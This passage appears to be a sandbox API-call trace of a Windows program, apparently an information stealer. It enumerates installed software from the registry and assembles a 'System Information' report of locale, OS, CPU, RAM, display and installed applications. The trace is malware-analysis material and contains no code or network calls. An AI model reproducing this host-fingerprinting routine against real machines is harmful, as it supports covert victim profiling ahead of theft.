C++ 2019 X86 Minimum Runtime - 14.25.28508", lpcbData=0x24fac4*=0x78) returned 0x0 [0261.795] LocalAlloc (uFlags=0x40, uBytes=0x20f0) returned 0x6f35b0 [0261.795] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="14.25.28508", lpcbData=0x24facc*=0x18) returned 0x0 [0261.795] StrStrW (lpFirst="Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508", lpSrch="14.25.28508") returned="14.25.28508" [0261.795] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n") returned 62 [0261.795] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n", lpSrch="\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n") returned 0x0 [0261.795] lstrlenW (lpString="\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n") returned 62 [0261.795] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n") returned 1293 [0261.795] LocalAlloc (uFlags=0x40, uBytes=0xb96) returned 0x6bf728 [0261.796] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.796] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.797] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.797] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.797] LocalFree (hMem=0x6e5058) returned 0x0 [0261.797] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.797] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x16, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.797] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.797] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.797] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.797] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpcbData=0x24fac4*=0x7a) returned 0x0 [0261.798] LocalAlloc (uFlags=0x40, uBytes=0x20f4) returned 0x6f35b0 [0261.798] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="11.0.61030.0", lpcbData=0x24facc*=0x1a) returned 0x0 [0261.798] StrStrW (lpFirst="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="11.0.61030.0") returned 0x0 [0261.798] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n") returned 75 [0261.798] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n", lpSrch="\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n") returned 0x0 [0261.798] lstrlenW (lpString="\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n") returned 75 [0261.798] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n") returned 1355 [0261.798] LocalAlloc (uFlags=0x40, uBytes=0xc2c) returned 0x6f56b0 [0261.799] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.800] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.801] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.802] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.802] LocalFree (hMem=0x6e5058) returned 0x0 [0261.802] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.802] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x17, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.802] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.803] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.803] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.803] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpcbData=0x24fac4*=0x7a) returned 0x0 [0261.803] LocalAlloc (uFlags=0x40, uBytes=0x20f4) returned 0x6f35b0 [0261.803] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="12.0.30501.0", lpcbData=0x24facc*=0x1a) returned 0x0 [0261.803] StrStrW (lpFirst="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpSrch="12.0.30501.0") returned 0x0 [0261.803] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n") returned 75 [0261.803] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n", lpSrch="\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n") returned 0x0 [0261.803] lstrlenW (lpString="\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n") returned 75 [0261.803] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n") returned 1430 [0261.803] LocalAlloc (uFlags=0x40, uBytes=0xcc2) returned 0x6e5058 [0261.804] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.805] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.805] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.805] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.805] LocalFree (hMem=0x6bec00) returned 0x0 [0261.805] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.806] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x18, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{65e650ff-30be-469d-b63a-418d71ea1765}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.806] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{65e650ff-30be-469d-b63a-418d71ea1765}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.806] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.806] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.806] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508", lpcbData=0x24fac4*=0x86) returned 0x0 [0261.806] LocalAlloc (uFlags=0x40, uBytes=0x210c) returned 0x6f35b0 [0261.806] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="14.25.28508.3", lpcbData=0x24facc*=0x1c) returned 0x0 [0261.806] StrStrW (lpFirst="Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508", lpSrch="14.25.28508.3") returned 0x0 [0261.806] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n") returned 82 [0261.806] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n", lpSrch="\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n") returned 0x0 [0261.806] lstrlenW (lpString="\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n") returned 82 [0261.806] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n") returned 1505 [0261.806] LocalAlloc (uFlags=0x40, uBytes=0xd66) returned 0x6e5d28 [0261.807] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.807] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.808] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.808] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.808] LocalFree (hMem=0x6bec00) returned 0x0 [0261.808] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.808] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x19, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.808] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.808] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.808] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.808] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508", lpcbData=0x24fac4*=0x86) returned 0x0 [0261.809] LocalAlloc (uFlags=0x40, uBytes=0x210c) returned 0x6f35b0 [0261.809] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="14.25.28508.3", lpcbData=0x24facc*=0x1c) returned 0x0 [0261.809] StrStrW (lpFirst="Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508", lpSrch="14.25.28508.3") returned 0x0 [0261.809] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n") returned 82 [0261.809] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n", lpSrch="\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n") returned 0x0 [0261.809] lstrlenW (lpString="\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n") returned 82 [0261.809] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n") returned 1587 [0261.809] LocalAlloc (uFlags=0x40, uBytes=0xe0a) returned 0x6f56c8 [0261.811] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.811] LocalFree (hMem=0x6f15a8) returned 0x0 